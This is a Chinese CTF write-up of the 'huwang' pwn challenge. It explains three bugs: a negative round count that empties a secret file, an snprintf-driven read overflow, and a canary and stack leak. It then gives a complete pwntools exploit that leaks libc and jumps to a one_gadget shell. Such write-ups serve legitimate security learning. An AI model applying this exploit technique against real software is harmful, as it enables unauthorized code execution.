看到這個題目就覺得有點眼熟, 后來發(fā)現(xiàn)就是國賽awd題目改了改. (可能就是北航把自己國賽出的題目改了一下吧....) 但是國賽的時候我也沒做出來.... 然后這次仍然沒做出來..... 看了天樞的wp(天樞的大佬們太強了orz) 發(fā)現(xiàn)原來漏洞這么明顯..... 看完wp發(fā)現(xiàn)six也可以算原題, 主辦方也太懶了吧....
經(jīng)過上次的Teaser Dragon CTF和這次的護網(wǎng)杯, 我深刻意識到我軟件構(gòu)造學(xué)的是多么的菜TAT, 上次的production里面的assert就是軟件構(gòu)造中的重要內(nèi)容, faststorge里面的abs()溢出如果test case那部分學(xué)的扎實的話也應(yīng)該想到的(極值嘛), 這次huwang這題就更過分了, 只要輸入個負數(shù)就能解決的問題, 愣是沒想到..... six那題其實多調(diào)試幾次應(yīng)該就能做出來了(肖神說的是: pwn題還是要多動態(tài)調(diào), 靜態(tài)看會漏掉很多點). 以后一定要多調(diào)試, 更要細心些, 把整個輸入空間都要想一想. 學(xué)以致用才行.
閑話少說, 開始復(fù)現(xiàn).
只有command = 666 時進入的函數(shù)有用
漏洞就3個點
- 加密次數(shù)可以輸-1, 然后程序會進入一個很長的循環(huán), 我們就可以關(guān)閉連接, 然后
/tmp/secret
里面的內(nèi)容就是空了 -
snprintf
函數(shù)返回值會大于0xff, 之后read會存在溢出. - 輸入用戶名為25個字節(jié)的時候可以leak canary和棧地址
過程:
- 第一次連接使
/tmp/secret
為空 - 第二次連接:
- 輸入用戶名的長度為25(canary最低字節(jié)為'\x00'),
- 猜md5的時候輸入'\x00'*16的md5值
- leak canary 和 棧地址
- 輸入足夠長的字符串, 使得
snprintf
返回值足夠大 - 構(gòu)造payload, 先找一個gadget(
pop rdi; ret
), 得到libc地址 - 再次溢出跳轉(zhuǎn)到
one_gadget
exp 如下:
from pwn import *
import md5
io = process('./huwang')
# libc = ELF('./')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
# def secret(name = 'aaa'):
m = md5.new()
m.update('\x00'*16)
md5_zero = m.digest()
sla('>>', '666')
ru('name')
sn('a'*25)
# sla('name', 'a'*25)
sla('secret', 'y')
sla('rounds', '1')
ru('guess the md5')
sn(md5_zero)
ru('a'*25)
res = rl()
canary = u64('\x00' + res[:7])
log.info('canary: ' + hex(canary))
stack_addr = u64(res[7: 7+6] + '\x00\x00')
log.info('stack_addr: ' + hex(stack_addr))
old_rbp = stack_addr + (0x3b0 - 0x450)
piece = {
0x108 : p64(canary),
0x110 : p64(old_rbp)
}
bss_start = 0x603038
pop_rdi_ret = 0x401573
payload = fit(piece, filler = '\x00') + p64(pop_rdi_ret) + p64(stack_addr + 8) + p64(0x4010d4)
ru('What`s your occupation?')
sn('a' * 0xff)
ru('[Y/N]')
sn('Y')
sleep(0.1)
sn('Y')
sleep(0.1)
sn(payload)
ru("final pres")
rl()
libc = u64(rl()[:6] + '\x00\x00')
libc_base = libc - 0x20830
log.info('libc: ' + hex(libc))
one = 0x4526a
payload2 = fit(piece, filler = '\x00') + p64(libc_base + one)
sleep(0.3)
sn('Y')
sleep(0.3)
sn('Y')
sleep(0.3)
sn(payload2)
io.interactive()